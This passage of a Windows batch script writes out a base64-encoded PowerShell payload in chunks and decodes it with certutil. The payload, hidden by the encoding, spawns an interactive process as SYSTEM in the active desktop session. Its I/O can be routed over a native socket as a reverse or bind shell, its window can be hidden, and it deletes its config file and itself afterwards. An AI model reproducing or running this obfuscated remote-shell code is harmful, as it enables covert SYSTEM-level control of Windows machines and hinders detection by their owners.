>> "!B64!" echo PSRUcnVlKV0KICAgICAgICBbc3RyaW5nXSAkQWRkcmVzcywKCiAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnk9JFRydWUpXQogICAgICAgIFtWYWxpZGF0ZVJhbmdlKDEsIDY1NTM1KV0KICAgICAgICBbaW50XSAkUG9ydCwKCiAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnk9JFRydWUpXQogICAgICAgIFtWYWxpZGF0ZVNldCgiUmV2ZXJzZSIsICJCaW5kIildCiAgICAgICAgW3N0cmluZ10gJE1vZGUKICAgICkKCiAgICAkU09DS0VUX0VSUk9SID0gLTEKICAgICRzb2NrQWRkclB0ciA9IFtJbnRQdHJdOjpaZXJvCiAgICAkc29ja2V0ID0gJFNPQ0tFVF9FUlJPUgogICAgdHJ5CiAgICB7CiAgICAgICAgJHNvY2tldCA9IE5ldy1OYXRpdmVTb2NrZXQKCiAgICAgICAgIyBUaGlzIHRpbnkgaGFjayBpcyB1c2VkIHRvIGF2b2lkIGRlZmluaW5nIGJ5IGhhbmQgYFNvY2tBZGRyYCBuYXRpdmUgc3RydWN0dXJlLgogICAgICAgICRpcEVuZFBvaW50ID0gW1N5c3RlbS5OZXQuSVBFbmRQb2ludF06Ok5ldygKICAgICAgICAgICAg
>> "!B64!" echo W1N5c3RlbS5OZXQuSVBBZGRyZXNzXTo6UGFyc2UoJEFkZHJlc3MpLAogICAgICAgICAgICAkUG9ydAogICAgICAgICkKCiAgICAgICAgJHNvY2tBZGRyID0gJGlwRW5kUG9pbnQuU2VyaWFsaXplKCkKCiAgICAgICAgJHNvY2tBZGRyUHRyID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6QWxsb2NIR2xvYmFsKCRzb2NrQWRkci5TaXplKQoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgLWx0ICRzb2NrQWRkci5TaXplOyAkaSsrKSB7CiAgICAgICAgICAgIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OldyaXRlQnl0ZSgkc29ja0FkZHJQdHIsICRpLCAkc29ja0FkZHJbJGldKQogICAgICAgIH0KCiAgICAgICAgU3dpdGNoICgkUmVkaXJlY3RLaW5kKQogICAgICAgIHsKICAgICAgICAgICAgIyBSZXZlcnNlIFNoZWxsOiBSZW1vdGUgbGlzdGVuZXIgbXVzdCBiZSBzdGFydGVkIGJlZm9yZSBleGVjdXRpbmcgdGhpcyBjb21tYW5kLgogICAgICAgICAgICAiUmV2ZXJzZSIg
>> "!B64!" echo ewogICAgICAgICAgICAgICAgJHJlc3VsdCA9IFtXUzIzMl06OldTQUNvbm5lY3QoCiAgICAgICAgICAgICAgICAgICAgJHNvY2tldCwKICAgICAgICAgICAgICAgICAgICAkc29ja0FkZHJQdHIsCiAgICAgICAgICAgICAgICAgICAgJHNvY2tBZGRyLlNpemUsCiAgICAgICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8sCiAgICAgICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8sCiAgICAgICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8sCiAgICAgICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8KICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIGlmICgkcmVzdWx0IC1lcSAkU09DS0VUX0VSUk9SKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHRocm93IFtXaW5BUElFeGNlcHRpb25dOjpOZXcoIldTQUNvbm5lY3QiKQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAjIEJpbmQgU2hlbGw6IFRoaXMgd2lsbCBzdGFydCBhIGxpc3RlbmVyIGFu
>> "!B64!" echo ZCB3YWl0IGZvciBhIHNpbmdsZSBjb25uZWN0aW9uIHRvIG9jY3VyLiBOb3RpY2UgdGhhdAogICAgICAgICAgICAjIHRoaXMgbWV0aG9kIHdpbGwgYmxvY2sgdGhlIGV4ZWN1dGlvbiB1bnRpbCBhIGNvbm5lY3Rpb24gaXMgZXN0YWJsaXNoZWQuCiAgICAgICAgICAgICJCaW5kIiB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gW1dTMjMyXTo6YmluZCgKICAgICAgICAgICAgICAgICAgICAkc29ja2V0LAogICAgICAgICAgICAgICAgICAgICRzb2NrQWRkclB0ciwKICAgICAgICAgICAgICAgICAgICAkc29ja0FkZHIuU2l6ZQogICAgICAgICAgICAgICAgKQoKICAgICAgICAgICAgICAgIGlmICgkcmVzdWx0IC1lcSAkU09DS0VUX0VSUk9SKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHRocm93IFtXaW5BUElFeGNlcHRpb25dOjpOZXcoImJpbmQiKQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBbV1MyMzJdOjpsaXN0ZW4oCiAgICAgICAgICAgICAgICAgICAgJHNv
>> "!B64!" echo Y2tldCwKICAgICAgICAgICAgICAgICAgICAxICAjIE1heGltdW0gbnVtYmVyIG9mIHBlbmRpbmcgY29ubmVjdGlvbnMgKFdlIG9ubHkgbmVlZCBvbmUpCiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICAgICAgaWYgKCRyZXN1bHQgLWVxICRTT0NLRVRfRVJST1IpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgW1dpbkFQSUV4Y2VwdGlvbl06Ok5ldygibGlzdGVuIikKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkc29ja2V0ID0gW1dTMjMyXTo6V1NBQWNjZXB0KAogICAgICAgICAgICAgICAgICAgICRzb2NrZXQsCiAgICAgICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8sCiAgICAgICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8sCiAgICAgICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8sCiAgICAgICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8KICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGNhdGNo
>> "!B64!" echo CiAgICB7CiAgICAgICAgQ2xvc2UtTmF0aXZlU29ja2V0IC1Tb2NrZXQgJHNvY2tldAoKICAgICAgICAkc29ja2V0ID0gJFNPQ0tFVF9FUlJPUgogICAgfQogICAgZmluYWxseQogICAgewogICAgICAgIGlmICgkc29ja0FkZHJQdHIgLW5lIFtJbnRQdHJdOjpaZXJvKQogICAgICAgIHsKICAgICAgICAgICAgW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6RnJlZUhHbG9iYWwoJHNvY2tBZGRyUHRyKQogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gJHNvY2tldAp9CgpmdW5jdGlvbiBJbnZva2UtWmVyb01lbW9yeQp7CiAgICBwYXJhbSgKICAgICAgICBbSW50UHRyXSAkTWVtb3J5T2Zmc2V0LAogICAgICAgIFtpbnRdICRTaXplCiAgICApCgogICAgZm9yICgkaSA9IDA7ICRpIC1sdCAkU2l6ZTsgJGkrKykKICAgIHsKICAgICAgICBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpXcml0ZUJ5dGUoJE1lbW9yeU9mZnNldCwgJGksIDB4MCkKICAgIH0KfQoKZnVuY3Rpb24g
>> "!B64!" echo SW52b2tlLUludGVyYWN0aXZlU3lzdGVtUHJvY2Vzcwp7CiAgICBwYXJhbSgKICAgICAgICBbc3RyaW5nXSAkQ29tbWFuZExpbmUgPSAicG93ZXJzaGVsbC5leGUiLAogICAgICAgIFtzd2l0Y2hdICRIaWRlLAoKICAgICAgICBbVmFsaWRhdGVTZXQoIk5vbmUiLCAiUmV2ZXJzZSIsICJCaW5kIildCiAgICAgICAgW3N0cmluZ10gJFJlZGlyZWN0S2luZCA9ICJOb25lIiwKCiAgICAgICAgW3N0cmluZ10gJEFkZHJlc3MgPSAiIiwKCiAgICAgICAgW1ZhbGlkYXRlUmFuZ2UoMSwgNjU1MzUpXQogICAgICAgIFtpbnRdICRQb3J0ID0gMjgwMQogICAgKQoKICAgIGlmICgtbm90IFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0lkZW50aXR5XTo6R2V0Q3VycmVudCgpLklzU3lzdGVtKQogICAgewogICAgICAgIHJldHVybgogICAgfQoKICAgICRyZWRpcmVjdEZkID0gJGZhbHNlCiAgICBpZiAoJFJlZGlyZWN0S2luZCAtbmUgIk5vbmUiKQogICAgewogICAgICAgICMgSW5pdGlhbGl6ZSBEZWZhdWx0IEFkZHJlc3MgKERlcGVuZGlu
>> "!B64!" echo ZyBvbiB0aGUgY29udGV4dCkKICAgICAgICBpZiAoJEFkZHJlc3MgLWVxICIiKQogICAgICAgIHsKICAgICAgICAgICAgU3dpdGNoICgkUmVkaXJlY3RLaW5kKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAiUmV2ZXJzZSIgewogICAgICAgICAgICAgICAgICAgICRBZGRyZXNzID0gIjEyNy4wLjAuMSIKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAiQmluZCIgewogICAgICAgICAgICAgICAgICAgICRBZGRyZXNzID0gIjAuMC4wLjAiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIEluaXRpYWxpemUtTmF0aXZlU29ja2V0CgogICAgICAgICRzb2NrZXQgPSBDb25uZWN0LU5hdGl2ZVNvY2tldCAtQWRkcmVzcyAkQWRkcmVzcyAtUG9ydCAkUG9ydCAtTW9kZSAkUmVkaXJlY3RLaW5kCgogICAgICAgICRyZWRpcmVjdEZkID0gJHRydWUKICAgIH0KCiAgICAkbmV3VG9rZW4gPSBbSW50UHRyXTo6WmVybwogICAgdHJ5CiAgICB7CiAgICAgICAgJHRva2VuID0g
>> "!B64!" echo W1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuVG9rZW4KCiAgICAgICAgJE1BWElNVU1fQUxMT1dFRCA9IDB4MDIwMDAwMDAKICAgICAgICAkU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTF9TZWN1cml0eUltcGVyc29uYXRpb24gPSAweDIKICAgICAgICAkVE9LRU5fVFlQRV9Ub2tlblByaW1hcnkgPSAweDEKCiAgICAgICAgaWYgKC1ub3QgW0FEVkFQSTMyXTo6RHVwbGljYXRlVG9rZW5FeCgKICAgICAgICAgICAgJHRva2VuLAogICAgICAgICAgICAkTUFYSU1VTV9BTExPV0VELAogICAgICAgICAgICBbSW50UHRyXTo6WmVybywKICAgICAgICAgICAgJFNFQ1VSSVRZX0lNUEVSU09OQVRJT05fTEVWRUxfU2VjdXJpdHlJbXBlcnNvbmF0aW9uLAogICAgICAgICAgICAkVE9LRU5fVFlQRV9Ub2tlblByaW1hcnksCiAgICAgICAgICAgIFtyZWZdJG5ld1Rva2VuKQogICAgICAgICkKICAgICAgICB7CiAgICAgICAgICAgIHRocm93IFtXaW5BUElFeGNlcHRpb25dOjpOZXcoIkR1cGxp
>> "!B64!" echo Y2F0ZVRva2VuRXgiKQogICAgICAgIH0KCiAgICAgICAgJGFjdGl2ZVNlc3Npb25JZCA9IEdldC1BY3RpdmVEZXNrdG9wU2Vzc2lvbklkCgogICAgICAgICRUT0tFTl9JTkZPUk1BVElPTl9DTEFTU19Ub2tlblNlc3Npb25JZCA9IDB4YwoKICAgICAgICBpZiAoLW5vdCBbQURWQVBJMzJdOjpTZXRUb2tlbkluZm9ybWF0aW9uKAogICAgICAgICAgICAkbmV3VG9rZW4sCiAgICAgICAgICAgICRUT0tFTl9JTkZPUk1BVElPTl9DTEFTU19Ub2tlblNlc3Npb25JZCwKICAgICAgICAgICAgW3JlZl0kYWN0aXZlU2Vzc2lvbklkLAogICAgICAgICAgICBbUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZigkYWN0aXZlU2Vzc2lvbklkKSkKICAgICAgICApCiAgICAgICAgewogICAgICAgICAgICB0aHJvdyBbV2luQVBJRXhjZXB0aW9uXTo6TmV3KCJTZXRUb2tlbkluZm9ybWF0aW9uIikKICAgICAgICB9CgogICAgICAgICRTVEFSVEZfVVNFU1RESEFORExFUyA9IDB4MTAwCiAgICAgICAgJFNUQVJURl9VU0VTSE9X
>> "!B64!" echo V0lORE9XID0gMHgxCiAgICAgICAgJFNXX1NIT1cgPSAweDUKICAgICAgICAkU1dfSElERSA9IDB4MAoKICAgICAgICBpZiAoW0Vudmlyb25tZW50XTo6SXM2NEJpdFByb2Nlc3MpCiAgICAgICAgewogICAgICAgICAgICAjIFNUQVJUVVBfSU5GTyB4NjQKICAgICAgICAgICAgJFNUQVJUVVBJTkZPX3N0cnVjdFNpemUgPSAweDY4CiAgICAgICAgICAgICRTVEFSVFVQSU5GT19kd0ZsYWdzID0gMHgzYwogICAgICAgICAgICAkU1RBUlRVUElORk9fd1Nob3dXaW5kb3cgPSAweDQwCiAgICAgICAgICAgICRTVEFSVFVQSU5GT19TdGRJbnB1dCA9IDB4NTAKICAgICAgICAgICAgJFNUQVJUVVBJTkZPX1N0ZE91dHB1dCA9IDB4NTgKICAgICAgICAgICAgJFNUQVJUVVBJTkZPX1N0ZEVycm9yID0gMHg2MAoKICAgICAgICAgICAgIyBQUk9DRVNTX0lORk9STUFUSU9OIHg2NAogICAgICAgICAgICAkUFJPQ0VTU19JTkZPUk1BVElPTl9zdHJ1Y3RTaXplID0gMHgxOAogICAgICAgICAgICAkUFJPQ0VTU19JTkZPUk1BVElPTl9kd1Byb2Nl
>> "!B64!" echo c3NJZCA9IDB4MTAKICAgICAgICAgICAgJFBST0NFU1NfSU5GT1JNQVRJT05faFRocmVhZCA9IDB4OAogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICAjIFNUQVJUVVBfSU5GTyB4MzIKICAgICAgICAgICAgJFNUQVJUVVBJTkZPX3N0cnVjdFNpemUgPSAweDQ0CiAgICAgICAgICAgICRTVEFSVFVQSU5GT19kd0ZsYWdzID0gMHgyYwogICAgICAgICAgICAkU1RBUlRVUElORk9fd1Nob3dXaW5kb3cgPSAweDMwCiAgICAgICAgICAgICRTVEFSVFVQSU5GT19TdGRJbnB1dCA9IDB4MzgKICAgICAgICAgICAgJFNUQVJUVVBJTkZPX1N0ZE91dHB1dCA9IDB4M2MKICAgICAgICAgICAgJFNUQVJUVVBJTkZPX1N0ZEVycm9yID0gMHg0MAoKICAgICAgICAgICAgIyBQUk9DRVNTX0lORk9STUFUSU9OIHgzMgogICAgICAgICAgICAkUFJPQ0VTU19JTkZPUk1BVElPTl9zdHJ1Y3RTaXplID0gMHgxMAogICAgICAgICAgICAkUFJPQ0VTU19JTkZPUk1BVElPTl9kd1Byb2Nlc3NJZCA9IDB4OAogICAgICAgICAg
>> "!B64!" echo ICAkUFJPQ0VTU19JTkZPUk1BVElPTl9oVGhyZWFkID0gMHg0CiAgICAgICAgfQoKICAgICAgICAkcFNUQVJUVVBJTkZPID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6QWxsb2NIR2xvYmFsKCRTVEFSVFVQSU5GT19zdHJ1Y3RTaXplKQogICAgICAgICRwUFJPQ0VTU19JTkZPUk1BVElPTiA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkUFJPQ0VTU19JTkZPUk1BVElPTl9zdHJ1Y3RTaXplKQogICAgICAgIHRyeQogICAgICAgIHsKICAgICAgICAgICAgSW52b2tlLVplcm9NZW1vcnkgLU1lbW9yeU9mZnNldCAkcFNUQVJUVVBJTkZPIC1TaXplICRTVEFSVFVQSU5GT19zdHJ1Y3RTaXplCiAgICAgICAgICAgIEludm9rZS1aZXJvTWVtb3J5IC1NZW1vcnlPZmZzZXQgJHBQUk9DRVNTX0lORk9STUFUSU9OIC1TaXplICRQUk9DRVNTX0lORk9STUFUSU9OX3N0cnVjdFNpemUKCiAgICAgICAgICAgICMgU1RBUlRVUElORk8gU3RydWN0dXJlIElu
>> "!B64!" echo aXRpYWxpemF0aW9uCiAgICAgICAgICAgIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OldyaXRlSW50MzIoCiAgICAgICAgICAgICAgICAkcFNUQVJUVVBJTkZPLAogICAgICAgICAgICAgICAgMHgwLAogICAgICAgICAgICAgICAgJFNUQVJUVVBJTkZPX3N0cnVjdFNpemUKICAgICAgICAgICAgKQoKICAgICAgICAgICAgJGR3RmxhZ3MgPSAkU1RBUlRGX1VTRVNIT1dXSU5ET1cKICAgICAgICAgICAgaWYgKCRyZWRpcmVjdEZkKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkZHdGbGFncyA9ICRkd0ZsYWdzIC1ib3IgJFNUQVJURl9VU0VTVERIQU5ETEVTCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OldyaXRlSW50MzIoCiAgICAgICAgICAgICAgICAkcFNUQVJUVVBJTkZPLAogICAgICAgICAgICAgICAgJFNUQVJUVVBJTkZPX2R3RmxhZ3MsCiAgICAgICAgICAgICAgICAkZHdGbGFncwogICAgICAgICAgICAp
>> "!B64!" echo CgogICAgICAgICAgICBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpXcml0ZUludDE2KAogICAgICAgICAgICAgICAgJHBTVEFSVFVQSU5GTywKICAgICAgICAgICAgICAgICRTVEFSVFVQSU5GT193U2hvd1dpbmRvdywKICAgICAgICAgICAgICAgICQoaWYgKCRIaWRlKSB7JFNXX0hJREV9IGVsc2UgeyRTV19TSE9XfSkKICAgICAgICAgICAgKQoKICAgICAgICAgICAgIyBSZWRpcmVjdCBTdGFuZGFyZCBJL08KICAgICAgICAgICAgaWYgKCRyZWRpcmVjdEZkKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpXcml0ZUludFB0cigKICAgICAgICAgICAgICAgICAgICAkcFNUQVJUVVBJTkZPLAogICAgICAgICAgICAgICAgICAgICRTVEFSVFVQSU5GT19TdGRJbnB1dCwKICAgICAgICAgICAgICAgICAgICAkc29ja2V0CiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICAgICAgW1N5c3RlbS5SdW50aW1lLkludGVy
>> "!B64!" echo b3BTZXJ2aWNlcy5NYXJzaGFsXTo6V3JpdGVJbnRQdHIoCiAgICAgICAgICAgICAgICAgICAgJHBTVEFSVFVQSU5GTywKICAgICAgICAgICAgICAgICAgICAkU1RBUlRVUElORk9fU3RkT3V0cHV0LAogICAgICAgICAgICAgICAgICAgICRzb2NrZXQKICAgICAgICAgICAgICAgICkKCiAgICAgICAgICAgICAgICBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpXcml0ZUludFB0cigKICAgICAgICAgICAgICAgICAgICAkcFNUQVJUVVBJTkZPLAogICAgICAgICAgICAgICAgICAgICRTVEFSVFVQSU5GT19TdGRFcnJvciwKICAgICAgICAgICAgICAgICAgICAkc29ja2V0CiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICMgU3RhcnQgbmV3IHByb2Nlc3MgYXMgU1lTVEVNIChJbnRlcmFjdGl2ZSBTZXNzaW9uKQogICAgICAgICAgICAkQ1JFQVRFX05FV19DT05TT0xFID0gMHgxMAoKICAgICAgICAgICAgaWYgKC1ub3QgW0FEVkFQSTMyXTo6Q3JlYXRlUHJvY2Vzc0FzVXNl
>> "!B64!" echo cigKICAgICAgICAgICAgICAgICRuZXdUb2tlbiwKICAgICAgICAgICAgICAgIFtJbnRQdHJdOjpaZXJvLAogICAgICAgICAgICAgICAgJENvbW1hbmRMaW5lLAogICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8sCiAgICAgICAgICAgICAgICBbSW50UHRyXTo6WmVybywKICAgICAgICAgICAgICAgICQoaWYgKCRyZWRpcmVjdEZkIC1lcSAkdHJ1ZSkgeyAkdHJ1ZSB9IGVsc2UgeyAkZmFsc2UgfSksCiAgICAgICAgICAgICAgICAkQ1JFQVRFX05FV19DT05TT0xFLAogICAgICAgICAgICAgICAgW0ludFB0cl06Olplcm8sCiAgICAgICAgICAgICAgICBbSW50UHRyXTo6WmVybywKICAgICAgICAgICAgICAgICRwU1RBUlRVUElORk8sCiAgICAgICAgICAgICAgICAkcFBST0NFU1NfSU5GT1JNQVRJT04KICAgICAgICAgICAgKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgdGhyb3cgW1dpbkFQSUV4Y2VwdGlvbl06Ok5ldygiQ3JlYXRlUHJvY2Vzc0FzVXNlciIpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICMg
>> "!B64!" echo UmVhZCBQcm9jZXNzIEluZm9ybWF0aW9uCiAgICAgICAgICAgICRwcm9jZXNzSWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpSZWFkSW50MzIoCiAgICAgICAgICAgICAgICAkcFBST0NFU1NfSU5GT1JNQVRJT04sCiAgICAgICAgICAgICAgICAkUFJPQ0VTU19JTkZPUk1BVElPTl9kd1Byb2Nlc3NJZAogICAgICAgICAgICApCgogICAgICAgICAgICAkaFByb2Nlc3MgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpSZWFkSW50UHRyKAogICAgICAgICAgICAgICAgJHBQUk9DRVNTX0lORk9STUFUSU9OLAogICAgICAgICAgICAgICAgMHgwCiAgICAgICAgICAgICkKCiAgICAgICAgICAgICRoVGhyZWFkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UmVhZEludFB0cigKICAgICAgICAgICAgICAgICRwUFJPQ0VTU19JTkZPUk1BVElPTiwKICAgICAgICAgICAgICAgICRQUk9DRVNTX0lORk9STUFUSU9OX2hUaHJlYWQKICAgICAg
>> "!B64!" echo ICAgICAgKQoKICAgICAgICAgICAgIyBDbG9zZSByZXR1cm5lZCBoYW5kbGVzLCBpdCBpcyByZWNvbW1lbmRlZCBieSBNaWNyb3NvZnQgZG9jdW1lbnRhdGlvbgogICAgICAgICAgICAkbnVsbCA9IFtLZXJuZWwzMl06OkNsb3NlSGFuZGxlKCRoVGhyZWFkKQogICAgICAgICAgICAkbnVsbCA9IFtLZXJuZWwzMl06OkNsb3NlSGFuZGxlKCRoUHJvY2VzcykKCiAgICAgICAgICAgIGlmICgkcHJvY2Vzc0lkIC1ndCAtMSAtYW5kICRyZWRpcmVjdEZkKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBXYWl0LVByb2Nlc3MgLUlkICRwcm9jZXNzSWQKCiAgICAgICAgICAgICAgICBDbG9zZS1OYXRpdmVTb2NrZXQgLVNvY2tldCAkc29ja2V0CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiAkcHJvY2Vzc0lkCiAgICAgICAgfQogICAgICAgIGZpbmFsbHkKICAgICAgICB7CiAgICAgICAgICAgIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkZyZWVIR2xvYmFsKCRwU1RBUlRVUElORk8p
>> "!B64!" echo CiAgICAgICAgICAgIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkZyZWVIR2xvYmFsKCRwUFJPQ0VTU19JTkZPUk1BVElPTikKICAgICAgICB9CiAgICB9CiAgICBjYXRjaAogICAgewogICAgICAgIHJldHVybiAtMQogICAgfQogICAgZmluYWxseQogICAgewogICAgICAgIGlmICgkbmV3VG9rZW4gLW5lIFtJbnRQdHJdOjpaZXJvKQogICAgICAgIHsKICAgICAgICAgICAgJG51bGwgPSBbS2VybmVsMzJdOjpDbG9zZUhhbmRsZSgkbmV3VG9rZW4pCiAgICAgICAgfQogICAgfQp9CgojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICMKIyAgICAgICAgICAgICAgICAgICAgICAgICAgIC0gRU5UUlkgUE9JTlQgLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
>> "!B64!" echo LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gIwoKdHJ5CnsKICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU3RvcCIKCiAgICBpZiAoLW5vdCBbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5Jc1N5c3RlbSkKICAgIHsKICAgICAgICBleGl0IDAKICAgIH0KCiAgICAkc2V0dGluZ3MgPSBSZWFkLVNldHRpbmdzCgogICAgUmVtb3ZlLUl0ZW0gLVBhdGggKEpvaW4tUGF0aCAkZW52OlN5c3RlbVJvb3QgIlRlbXBcQmF0Y2hSdW5Bc1N5c3RlbS5jZmciKSAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUKCiAgICAkQ29tbWFuZExpbmUgPSAicG93ZXJzaGVsbC5leGUiCiAgICBpZiAoJHNldHRpbmdzLkNvbnRhaW5zS2V5KCJDb21tYW5kTGluZSIpIC1hbmQgKCRzZXR0aW5nc1siQ29tbWFuZExpbmUiXSAtbmUgIiIpKQogICAgewogICAgICAgICRDb21tYW5kTGluZSA9ICRzZXR0aW5nc1siQ29tbWFuZExpbmUiXQogICAgfQoKICAgICRIaWRlID0gJGZhbHNlCiAg
>> "!B64!" echo ICBpZiAoJHNldHRpbmdzLkNvbnRhaW5zS2V5KCJIaWRlIikpCiAgICB7CiAgICAgICAgJEhpZGUgPSAoJHNldHRpbmdzWyJIaWRlIl0gLWVxICIxIikKICAgIH0KCiAgICAkUmVkaXJlY3RLaW5kID0gIk5vbmUiCiAgICBpZiAoJHNldHRpbmdzLkNvbnRhaW5zS2V5KCJSZWRpcmVjdEtpbmQiKSAtYW5kICgkc2V0dGluZ3NbIlJlZGlyZWN0S2luZCJdIC1uZSAiIikpCiAgICB7CiAgICAgICAgJFJlZGlyZWN0S2luZCA9ICRzZXR0aW5nc1siUmVkaXJlY3RLaW5kIl0KICAgIH0KCiAgICAkQWRkcmVzcyA9ICIiCiAgICBpZiAoJHNldHRpbmdzLkNvbnRhaW5zS2V5KCJBZGRyZXNzIikpCiAgICB7CiAgICAgICAgJEFkZHJlc3MgPSAkc2V0dGluZ3NbIkFkZHJlc3MiXQogICAgfQoKICAgICRQb3J0ID0gMAogICAgaWYgKCRzZXR0aW5ncy5Db250YWluc0tleSgiUG9ydCIpIC1hbmQgKCRzZXR0aW5nc1siUG9ydCJdIC1uZSAiIikpCiAgICB7CiAgICAgICAgJFBvcnQgPSBbaW50XSgkc2V0dGluZ3NbIlBvcnQiXSkKICAgIH0KCiAg
>> "!B64!" echo ICAkYXJndW1lbnRzID0gQHsKICAgICAgICBDb21tYW5kTGluZSAgPSAkQ29tbWFuZExpbmUKICAgICAgICBIaWRlICAgICAgICAgPSAkSGlkZQogICAgICAgIFJlZGlyZWN0S2luZCA9ICRSZWRpcmVjdEtpbmQKICAgIH0KICAgIGlmICgkQWRkcmVzcyAtbmUgIiIpCiAgICB7CiAgICAgICAgJGFyZ3VtZW50c1siQWRkcmVzcyJdID0gJEFkZHJlc3MKICAgIH0KICAgIGlmICgkUG9ydCAtZ3QgMCkKICAgIHsKICAgICAgICAkYXJndW1lbnRzWyJQb3J0Il0gPSAkUG9ydAogICAgfQoKICAgICRwcm9jZXNzSWQgPSBJbnZva2UtSW50ZXJhY3RpdmVTeXN0ZW1Qcm9jZXNzIEBhcmd1bWVudHMKCiAgICBpZiAoJHByb2Nlc3NJZCAtbHQgMCkKICAgIHsKICAgICAgICB0aHJvdyAiRmFpbGVkIHRvIHNwYXduIGludGVyYWN0aXZlIFNZU1RFTSBwcm9jZXNzLiIKICAgIH0KfQpjYXRjaAp7CiAgICAkXyB8IE91dC1GaWxlIC1GaWxlUGF0aCAoSm9pbi1QYXRoICRlbnY6U3lzdGVtUm9vdCAiVGVtcFxCYXRjaFJ1bkFzU3lzdGVtLmVyciIp
>> "!B64!" echo IC1FbmNvZGluZyBVVEY4CgogICAgZXhpdCAxCn0KClJlbW92ZS1JdGVtIC1QYXRoICRNeUludm9jYXRpb24uTXlDb21tYW5kLlBhdGggLUZvcmNlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlCgpleGl0IDAK
certutil -f -decode "!B64!" "!PAYLOAD!" >nul 2>&1
if errorlevel 1 (
del /f /q "!B64!" >nul 2>&1
echo [ERROR] Failed to decode payload script.
exit /b 1
)
del /f /q "!B64!" >nul 2>&1
if not exist "!PAYLOAD!" (
echo [ERROR] Payload script not found after decode.
exit /b 1
)
exit /b 0
:WriteConfig
